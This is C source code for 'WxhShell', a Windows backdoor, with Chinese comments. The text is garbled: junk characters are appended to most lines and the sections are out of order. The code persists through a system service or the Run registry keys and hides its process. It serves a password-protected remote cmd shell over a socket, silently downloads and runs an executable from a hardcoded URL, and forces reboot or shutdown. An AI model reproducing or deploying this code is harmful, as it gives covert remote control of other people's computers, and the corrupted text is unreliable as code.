    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Hyk'c't_O  
    if(Boot(SHUTDOWN)) 5G}6;UY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E ?2O(  
    else { rt]S\  
    closesocket(wsh); oqkVYlE  
    ExitThread(0); a<XCNTaVT  
    } ~ <0Z>qr  
    break; :L?_Y/K  
    } FD7H@L5  
  // 获取shell $KV&\Q3\0  
  case 's': { 9V1cdb~?"T  
    CmdShell(wsh); P=AS>N^yaL  
    closesocket(wsh); $*MCU nl  
    ExitThread(0); Ob+9W  
    break; a+41|)pt  
  } /%x7+Rl\-^  
  // 退出 1ZJ4*bn  
  case 'x': { ]rd/;kg.S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4C_c\;d  
    CloseIt(wsh); huFz97?y(  
    break; H{ M)-  
    } `%K`gYhG1  
  // 离开 W-2i+g)  
  case 'q': { noVa=aU^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?4t-caK^u  
    closesocket(wsh); 1V&PtI3 !!  
    WSACleanup(); Z%o7f6P0IX  
    exit(1); PY\PUMF>  
    break; BWPP5X9  
        } Lf}8qB#Y  
  } ?dy~ mob  
  } uPyVF-i  
^z1IN-Tm/  
  // 提示信息 s}x>J8hK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l4'~}nn(Y  
}  |qcD;  
  } %(m ])  
Id8wS!W`7  
  return; (ClhbfzD  
} V*n==Nb5L  
5vp|?-\h>  
// shell模块句柄 A;K(J4y*  
int CmdShell(SOCKET sock) g9tu %cIkR  
{ Eyh|a. )-  
STARTUPINFO si; S 4vbN  
ZeroMemory(&si,sizeof(si)); 85U.wpG  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _"f  :`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3*S[eqMJc  
PROCESS_INFORMATION ProcessInfo; @Z(rgF{{  
char cmdline[]="cmd"; =iz,S:[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =WZ%H_oxi  
  return 0; 6k0^x Q  
} % +Pl+`? E  
e29y7:)c=  
// 自身启动模式 .CV _\  
int StartFromService(void) ^tAO_~4  
{ AY2:[ 5cm  
typedef struct \^532FIw6  
{ gy_$#e  
  DWORD ExitStatus; _+QwREP  
  DWORD PebBaseAddress; 97~K!'/^+y  
  DWORD AffinityMask; =v-2@=NJ`K  
  DWORD BasePriority; \3Jq_9Xv  
  ULONG UniqueProcessId; Eek9|i"p  
  ULONG InheritedFromUniqueProcessId; QX0 Y>&$ )  
}   PROCESS_BASIC_INFORMATION; ;_JH:}j  
n[k1np$7?6  
PROCNTQSIP NtQueryInformationProcess; gp  
6v z1*\:H~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q |hm1q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -e>|kPfv!  
Agy <j   
  HANDLE             hProcess; )^;DGzG  
  PROCESS_BASIC_INFORMATION pbi; L@)&vn]  
?X_V#8JK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U{1z;lJ  
  if(NULL == hInst ) return 0; us{nyil1  
hY8#b)l~lu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  WR.x&m>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bkQ3c-C<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uDG+SdyN@  
)s")y  
  if (!NtQueryInformationProcess) return 0; &sOM>^SAD  
E20&hc5 8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ia{kab|_5  
  if(!hProcess) return 0; T!^Mvat  
}=GM ?,7b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &TT":FPR  
V/y=6wUiSl  
  CloseHandle(hProcess); 9{eBgdC  
cH"@d^"+q|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [%8@D C'  
if(hProcess==NULL) return 0; 'V!kL, 9ES  
zXre~b03ZS  
HMODULE hMod; = HE m)  
char procName[255]; %?tq;~|]Q  
unsigned long cbNeeded; Z;<ep@gy~  
U</+.$b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kV)' a  
!WKk=ysFS  
  CloseHandle(hProcess);  (K #A  
f!g<3X{=  
if(strstr(procName,"services")) return 1; // 以服务启动 rihlae5Kz  
tV`&- H  
  return 0; // 注册表启动 Pz473d  
} -<oZ)OfU  
@>O&Cpt  
// 主模块 v]bAWo  
int StartWxhshell(LPSTR lpCmdLine) f=ib9WbR#  
{ TETsg5#  
  SOCKET wsl; 9*_uCPR  
BOOL val=TRUE; 4 X`^{~  
  int port=0; <-)9>c:k  
  struct sockaddr_in door; :kp0EiJ  
f5?hnt`m  
  if(wscfg.ws_autoins) Install(); ?)cJZ>$!w  
,L%p  
port=atoi(lpCmdLine); @hT;Bo2G]  
_i@x@:_l  
if(port<=0) port=wscfg.ws_port; 1q!sKoJ<  
M {xie  
  WSADATA data; eTZ`q_LfI1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lIq~~cv)  
O,9X8$5H-a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |h,FUj<r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oQvFrSz  
  door.sin_family = AF_INET; A?Sm-#n{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); faVS2TN4  
  door.sin_port = htons(port); s^PmnFR  
Y'_ D<Mp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d| \#?W&  
closesocket(wsl); {Gkn_h-^  
return 1; &7F&}7*c  
} \X opU"  
z(UX't (q  
  if(listen(wsl,2) == INVALID_SOCKET) { n4*'B*  
closesocket(wsl); -A@U0=o  
return 1; [+DNM 2A  
} 7ukDS]  
  Wxhshell(wsl); y''V"Be  
  WSACleanup(); <4NQL*|>  
R6Pz#`n  
return 0; bX{PSjD  
g =\13# F  
} J~2 CD*v  
m){&:Hs  
// 以NT服务方式启动 }rxFS <j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M=Is9)y  
{ ddMM74  
DWORD   status = 0; p;ZDpR  
  DWORD   specificError = 0xfffffff; f[M"EMy  
Ap,q `S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K!b>TICa:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]}_,U!`8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "0Y&~q[=  
  serviceStatus.dwWin32ExitCode     = 0; PDZ)*$EE  
  serviceStatus.dwServiceSpecificExitCode = 0; <Am^z~[  
  serviceStatus.dwCheckPoint       = 0; -AeHY'T  
  serviceStatus.dwWaitHint       = 0; tQnJS2V"{u  
F\P!NSFZV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?V<l<EAm  
  if (hServiceStatusHandle==0) return; |Kn^w4mN  
cFxSDTR  
status = GetLastError(); [r~~=b7*[  
  if (status!=NO_ERROR)  RA~_]Hk  
{ Faw. GU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c$.T<r)Z  
    serviceStatus.dwCheckPoint       = 0; P#9-bYNU  
    serviceStatus.dwWaitHint       = 0; JgZdS-~  
    serviceStatus.dwWin32ExitCode     = status; "U{mMd!9L  
    serviceStatus.dwServiceSpecificExitCode = specificError; qZc)Sa.S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ot"(uW4$[  
    return; b6$4Ul-.  
  } @%7/2k  
X)FQ%(H<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g&8.A(  
  serviceStatus.dwCheckPoint       = 0; W.sD2f  
  serviceStatus.dwWaitHint       = 0; ,|>nF;.Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); otZ JY)  
} vKV{ $|  
(Bh L/A 4  
// 处理NT服务事件,比如:启动、停止 Ut=0~x.=<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M, Po54u  
{ xKisL=l6Y  
switch(fdwControl) <#!8?o&i  
{ ,P1G ?,y  
case SERVICE_CONTROL_STOP: "N]WL5$i  
  serviceStatus.dwWin32ExitCode = 0; !-@SS>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wf^cyCR0  
  serviceStatus.dwCheckPoint   = 0; _4De!q0(  
  serviceStatus.dwWaitHint     = 0; s UvKA0  
  { ,7/\&X<`B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4v i B=>  
  } ;+! xZOmm  
  return; sd7Y6?_C  
case SERVICE_CONTROL_PAUSE: i@%L_[MtA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $jDD0<F.#  
  break; ;vZ*,q6  
case SERVICE_CONTROL_CONTINUE: ug>]U ~0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !vi4* @:  
  break; M|aQ)ivh3  
case SERVICE_CONTROL_INTERROGATE: Oym]&SrbS  
  break; >4Fd xa  
}; !WDn7j'A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7E@$}&E  
} W'8J<VBD  
;%lJD"yF  
// 标准应用程序主函数 HX z iDnj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r{c5dQ  
{ il<gjlyR]L  
| H5Ync[s  
// 获取操作系统版本 sVNo\  
OsIsNt=GetOsVer(); $4& 8U~Zs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J#_\+G i  
&7JEb]1C  
  // 从命令行安装 ">rsA&hN-  
  if(strpbrk(lpCmdLine,"iI")) Install(); XP3QBq  
"4k"U1  
  // 下载执行文件 oTZo[T@zRx  
if(wscfg.ws_downexe) { hlt9x.e.A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lb=2*dFJ1  
  WinExec(wscfg.ws_filenam,SW_HIDE); h6K!|-Gq.  
} (gv=P>:  
i] V F'tG  
if(!OsIsNt) { 1 / F<T  
// 如果时win9x,隐藏进程并且设置为注册表启动 &4a~6  
HideProc(); r< N-A?a  
StartWxhshell(lpCmdLine); &*h`b{]  
} ~r7DEy|+  
else "`H=AX0  
  if(StartFromService()) >I R` ]  
  // 以服务方式启动 pU[a[  
  StartServiceCtrlDispatcher(DispatchTable); yKel|vM#  
else @D( KuF  
  // 普通方式启动 \r)_-  
  StartWxhshell(lpCmdLine); * <Nk%`  
ajg7xF{l)  
return 0; |rG8E;>  
} UzP@{?  
Ss*Lg K_  
f[w jur  
$L $j KNwf  
=========================================== <[*h_gE5  
;5zjd,  
pO@k@JZ  
+^o3}`  
]a &x'  
xV }:M  
" Wl@0TUK  
S S7D1  
#include <stdio.h> x|P<F2L  
#include <string.h> |sDG>Zq?  
#include <windows.h> T= iZ9w  
#include <winsock2.h> 7l4InR]  
#include <winsvc.h> |~1rKzZwF  
#include <urlmon.h> }Etd#">  
aH~x7N6!  
#pragma comment (lib, "Ws2_32.lib") Z &ua,:5  
#pragma comment (lib, "urlmon.lib") 0DW'(#`  
l#< }|b  
#define MAX_USER   100 // 最大客户端连接数 bF8xQ<i~Y  
#define BUF_SOCK   200 // sock buffer t(LlWd  
#define KEY_BUFF   255 // 输入 buffer 6= aBD_2@  
mU e@Dud  
#define REBOOT     0   // 重启 o%9Ua9|RR  
#define SHUTDOWN   1   // 关机 k1@  A'n  
wjw<@A9  
#define DEF_PORT   5000 // 监听端口 l=<F1Lz  
R  oF  
#define REG_LEN     16   // 注册表键长度 v{\n^|=])  
#define SVC_LEN     80   // NT服务名长度 Es ZnGuY  
iLI.e rm  
// 从dll定义API 1GyAQHx,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ),W (TL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .j]OO/,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RLeSA\di  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %<bG%V(  
Q:Nwy(,I  
// wxhshell配置信息 2!"\;/  
struct WSCFG { O_%PBgcJr  
  int ws_port;         // 监听端口 J_((o  
  char ws_passstr[REG_LEN]; // 口令 qJAv=D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4N0W& Dy  
  char ws_regname[REG_LEN]; // 注册表键名 ;^*+:e  
  char ws_svcname[REG_LEN]; // 服务名 <LOx.}fv  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 , L AJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &d &oP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {O3oUE+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yScov)dp(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .,BD DPFB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ M[}(m  
A(!ZZ9 Wc  
}; nP3;<*T P0  
/d]V{I~6  
// default Wxhshell configuration 0ga1Yr]  
struct WSCFG wscfg={DEF_PORT, DFZ:.6p  
    "xuhuanlingzhe", S &lTKYP  
    1, %I2xK.8=  
    "Wxhshell", 2 |kH%  
    "Wxhshell", DRFuvU+e  
            "WxhShell Service", JCU3\39}  
    "Wrsky Windows CmdShell Service", "gl:4|i '  
    "Please Input Your Password: ", GwIfGixqH  
  1, JWm^RQ  
  "http://www.wrsky.com/wxhshell.exe", @{$Cv"6769  
  "Wxhshell.exe" r>:7${pF  
    }; M& BM,~  
1RUbY>K#U  
// 消息定义模块 >stVsFdV)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p'w"V6k('~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U!-+v:SF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "3>*i!i  
char *msg_ws_ext="\n\rExit."; ?H86Wbz  
char *msg_ws_end="\n\rQuit."; "3KSmb   
char *msg_ws_boot="\n\rReboot..."; ^5'/ }iR2N  
char *msg_ws_poff="\n\rShutdown..."; O%q;,w{prW  
char *msg_ws_down="\n\rSave to "; J#OE}xASoA  
"}~i7NBB  
char *msg_ws_err="\n\rErr!"; Hr8$1I$=  
char *msg_ws_ok="\n\rOK!"; SpTORR8  
XCi]()TZ_  
char ExeFile[MAX_PATH]; j*Wh;I+h  
int nUser = 0; '2q xcco  
HANDLE handles[MAX_USER]; -aeo7C  
int OsIsNt; l1|,Lr  
Gk]qE]hi  
SERVICE_STATUS       serviceStatus; E( 4lu%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^*UfCoj9Z  
 W$VCST  
// 函数声明 ]OCJ~Zw  
int Install(void); -L4G WJ~.-  
int Uninstall(void); %F]9^C+  
int DownloadFile(char *sURL, SOCKET wsh); n4_:#L?  
int Boot(int flag); 'rq#q)1MT  
void HideProc(void); E{]|jPdr  
int GetOsVer(void); 'Tan6 Qa  
int Wxhshell(SOCKET wsl); mEc;-b f  
void TalkWithClient(void *cs); g KmRjK  
int CmdShell(SOCKET sock); `J7Lecgo  
int StartFromService(void); f[I'j0H%  
int StartWxhshell(LPSTR lpCmdLine); pN f9  
]ieA?:0Hi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f/WM}Hpj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i7!mMO8]  
ZT6X4 Z  
// 数据结构和表定义 :iOHc-x  
SERVICE_TABLE_ENTRY DispatchTable[] = Z6/~2S@  
{ X.4ZLwX=  
{wscfg.ws_svcname, NTServiceMain}, 8JOht(m  
{NULL, NULL} Y1ilH-8  
}; S%gO6&^  
SlJ/OcAf#  
// 自我安装 !}Ou|r4_  
int Install(void) }ok nB  
{ /E  yg*#  
  char svExeFile[MAX_PATH]; ?m r@B  
  HKEY key; "M#`y!__  
  strcpy(svExeFile,ExeFile); W;}u 2GH  
 |ukdn2Q  
// 如果是win9x系统,修改注册表设为自启动 n; '~"AG)  
if(!OsIsNt) { 7'/2:"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l:Xf(TLa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G~hILW^  
  RegCloseKey(key); 88=FPEU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e]B<\i\T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LY cSMuJ  
  RegCloseKey(key); 64?$TT  
  return 0; 3 !w>"h0(  
    } @`+$d=rO`  
  } gsq[ 9  
} f(MHU   
else { p1gX4t]%}a  
y!c7y]9__2  
// 如果是NT以上系统,安装为系统服务 =v`&iL~m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y^|3]G3  
if (schSCManager!=0) j%y+W{Q[  
{ l )V43  
  SC_HANDLE schService = CreateService IV#f}NrfD  
  ( Ty|c@X  
  schSCManager, F*( A; N_y  
  wscfg.ws_svcname, #2'&=?J1r  
  wscfg.ws_svcdisp, N4(VRA  
  SERVICE_ALL_ACCESS, :yFCp@&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >s?;2T2"yx  
  SERVICE_AUTO_START, 1Kf t?g  
  SERVICE_ERROR_NORMAL, lGBdQc]IL  
  svExeFile, ITqigGan%  
  NULL, bme#G{[)Y  
  NULL, <21^{ yt1  
  NULL, `*9FKs  
  NULL, *_rGBW  
  NULL M~Dc5\T  
  ); f#Oz("d  
  if (schService!=0) %=O!K>^vt<  
  { 4^}PnU7z  
  CloseServiceHandle(schService); }`FC__  
  CloseServiceHandle(schSCManager); {Qmb!`F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uqeWdj*Y  
  strcat(svExeFile,wscfg.ws_svcname); G:ngio]G0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b%t9a\0V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E_uH' E  
  RegCloseKey(key);  jy|xDQ  
  return 0; ssbyvzQ  
    } aNU%OeQA  
  } 6}lEeMRW  
  CloseServiceHandle(schSCManager); Q>g$)-8  
} R* G>)YH  
} /Z_ [)PTH  
gm$MEeC  
return 1; I2!HXMrp  
} 4n)Mx*{  
\ iSBLU  
// 自我卸载 ?G<I N)  
int Uninstall(void) v") W@haU  
{ 0=zS&xM  
  HKEY key; gCI'YEx  
&: 8&;vk  
if(!OsIsNt) { "$;:dfrU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PH &ms  
  RegDeleteValue(key,wscfg.ws_regname); 8_$2aqr  
  RegCloseKey(key); k8>^dZub  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rGL{g&_  
  RegDeleteValue(key,wscfg.ws_regname); ^S2} 0N f  
  RegCloseKey(key); ew['9  
  return 0; 1vudT&  
  } <$6E r  
} *0ntx$M-w  
} ~mo `  
else { 4c@F.I  
'E8Qi'g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w.- i !Ls  
if (schSCManager!=0) /UyE- "S  
{ SP1oBR"3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N |L5Ru  
  if (schService!=0) ,IATJs$E  
  { hd%F7D5  
  if(DeleteService(schService)!=0) { T5+b{qA  
  CloseServiceHandle(schService); Ap9w H[H  
  CloseServiceHandle(schSCManager); hrt-<7U  
  return 0; u#|Jl|aT  
  } l(4./M  
  CloseServiceHandle(schService); ,Gx=e!-N5  
  } "g[UX{L  
  CloseServiceHandle(schSCManager); _I5+o\;1  
} xF+x I6  
} aV, J_Q6r  
M_I\:Q  
return 1; K%Ml2V   
} g<3>7&^  
9DKB+K.1  
// 从指定url下载文件 >;?97'M  
int DownloadFile(char *sURL, SOCKET wsh) -e\56%\~_  
{ Sd11ZC6  
  HRESULT hr; sxa (  
char seps[]= "/"; {Vu:yh\<  
char *token; {u3u%^E;R  
char *file; ~h+3WuOv  
char myURL[MAX_PATH]; j`l K}  
char myFILE[MAX_PATH]; _zwuK1e  
~;Kl/Z  
strcpy(myURL,sURL); IW*.B6Hw8  
  token=strtok(myURL,seps); j pV  
  while(token!=NULL) s yvi/6  
  { 1!#ZEI C  
    file=token; Pw.+DA  
  token=strtok(NULL,seps); /Vc!N)  
  }  }"tYb6*  
KguFU  
GetCurrentDirectory(MAX_PATH,myFILE); ~=*_I4,+r  
strcat(myFILE, "\\"); Mq$=zsj  
strcat(myFILE, file); vj0?b/5m  
  send(wsh,myFILE,strlen(myFILE),0); >?<d}9X  
send(wsh,"...",3,0); Xw5" JE!.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i[J',  
  if(hr==S_OK) %R>MSSjvr  
return 0; ;oE4,  
else Lq^/Z4L  
return 1; 1]~}0;,  
a}\JA`5;)Z  
} p {3|W<  
N%y FL  
// 系统电源模块 en)DN3  
int Boot(int flag) b L~<~gA  
{ eyV904<F  
  HANDLE hToken; .jw)e!<\N  
  TOKEN_PRIVILEGES tkp; =Y0m;-1M  
MvFXVCT#  
  if(OsIsNt) { RR|Eqm3)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .EQFHStr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mt>DAk  
    tkp.PrivilegeCount = 1; o}z}79Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U>XGJQ<NS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $4pW#4/4  
if(flag==REBOOT) { 8Qh/=Ir  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _i#Z'4?2E  
  return 0; 50A_+f.7%  
} 0Jr< >7Q1  
else { X)+N>8o?N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^xrR3m*d  
  return 0; &-A 7%"  
} 1;V5b+b  
  } g&V.o5jIhc  
  else { Xqk$[ peS  
if(flag==REBOOT) { oGZ9@Y)(T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DS fKUx&  
  return 0; \ZB;K~BV&  
} ?~Des"F6)1  
else { sEa:p: !  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T}*'9TB  
  return 0; hV)I C9  
} '`u1,h  
} YX(%jcj*  
*(rE<  
return 1; l{4\Wn Va  
} *?K=;$  
(ym)q#^  
// win9x进程隐藏模块 I$&/?ns@O  
void HideProc(void) PhQD}|S  
{ M}>q>  
Gex^\gf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %oo&M;  
  if ( hKernel != NULL ) =zKp(_[D  
  { x$E l7=.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pFuQ!7Uk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $O#h4L_  
    FreeLibrary(hKernel); kH'Cx^=c6h  
  } 6dh PqL  
Velmq'n  
return; foeVjL:T  
} t j0vB]c  
6yU~^))bx  
// 获取操作系统版本 #LZ`kSlv4  
int GetOsVer(void) = N#WwNC  
{ zV]0S o  
  OSVERSIONINFO winfo; pP#?|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tXx9N_/  
  GetVersionEx(&winfo); LuVj9+1 S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b#M<b.R)  
  return 1; 1Sy#*  
  else ,rKN/{M!  
  return 0; DCm;dh  
} Z7v~;JzC#  
}y1M0^M-$  
// 客户端句柄模块 'coqm8V[%  
int Wxhshell(SOCKET wsl) yQ}~ aA#h  
{ &P;x<7h$t?  
  SOCKET wsh; =Y BJ7.Y  
  struct sockaddr_in client; I6\3wU~).  
  DWORD myID; qrdI"  
;dnn 2)m  
  while(nUser<MAX_USER) #[8gH>7  
{ R8E<;^?j  
  int nSize=sizeof(client); L%DL n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]1K &U5p  
  if(wsh==INVALID_SOCKET) return 1; }fA3{ Ro  
CY:pYke=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z#Fw 1  
if(handles[nUser]==0) /c7j@=0  
  closesocket(wsh); P+/L, u  
else gSC@uf  
  nUser++; Pzqgg43Xf  
  } Z`W.(gua  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;KhYh S(q  
-nW{$&5AF  
  return 0; lbPxZ'YO#  
} m H?hzxa+  
9#p^Z)[)-  
// 关闭 socket _FV.}%W<u  
void CloseIt(SOCKET wsh) Rm RV8 WJ6  
{ ;r y{cq  
closesocket(wsh); l*eA ?Qz  
nUser--; @6E[K'5c1  
ExitThread(0); s 2E}+ #  
} kxP6#8*:  
yU\|dL  
// 客户端请求句柄 %guot~S|  
void TalkWithClient(void *cs) YP7<j*s8  
{ z7CYYU?  
#wo_  
  SOCKET wsh=(SOCKET)cs; 4eKJ\Q=nX5  
  char pwd[SVC_LEN]; ;#+#W+0  
  char cmd[KEY_BUFF]; [kXe)dMX8  
char chr[1]; =FE,G*  
int i,j; $$4% .J26Z  
h3:,Gbyap  
  while (nUser < MAX_USER) { ~7m+cWC-+  
CR/LV]G  
if(wscfg.ws_passstr) { $qvNv[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Eg9502Bl~8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 (yHD  
  //ZeroMemory(pwd,KEY_BUFF); {hl_/ aG  
      i=0; qGw6Wp~  
  while(i<SVC_LEN) { suVS!} C  
~UnfS};U  
  // 设置超时 6B 8!2  
  fd_set FdRead; 8_uDxd  
  struct timeval TimeOut; ;8A_- $  
  FD_ZERO(&FdRead); H$;\TG@,  
  FD_SET(wsh,&FdRead); ,"/_G  
  TimeOut.tv_sec=8; =}L[/RL  
  TimeOut.tv_usec=0; ~2qFA2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <I>q1m?KN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C$5v:Fk  
;HC"hEc!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 83dOSS2  
  pwd=chr[0]; P k,^q8;  
  if(chr[0]==0xd || chr[0]==0xa) { FUH1Z+9  
  pwd=0; ^b%AwzHH}  
  break; 1/gh\9h  
  } 3drgB;:g`  
  i++; Y5;:jYk#<_  
    } 7yc:=^ )  
?]})Xf.A  
  // 如果是非法用户,关闭 socket [AU1JO`\"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M:x8]TA  
} jJf|Ok:G{  
DJbj@ 2W[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (/)JnBy0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ! 87ebo  
cz0tnF*&  
while(1) { >#'6jm  
b/ynCf8X  
  ZeroMemory(cmd,KEY_BUFF); UKzmRa,s  
u&<LW4  
      // 自动支持客户端 telnet标准   # WxH  
  j=0; c(~M<nL0  
  while(j<KEY_BUFF) { C>;}CH|X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YziQU_  
  cmd[j]=chr[0]; cx$Oh`-Car  
  if(chr[0]==0xa || chr[0]==0xd) { vb%\q sf  
  cmd[j]=0; tpVtbh1)u  
  break; ]6nF>C-C  
  } VTF),e!  
  j++; )j$Bo{  
    } -H]svOX  
$Fn# b|e  
  // 下载文件 8xNKVj)@  
  if(strstr(cmd,"http://")) { mr;WxxO5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A[b'MNsv  
  if(DownloadFile(cmd,wsh)) x&f?c=\F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); > 1r>cZn  
  else 7#RW4ZM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bi_R.sfK&  
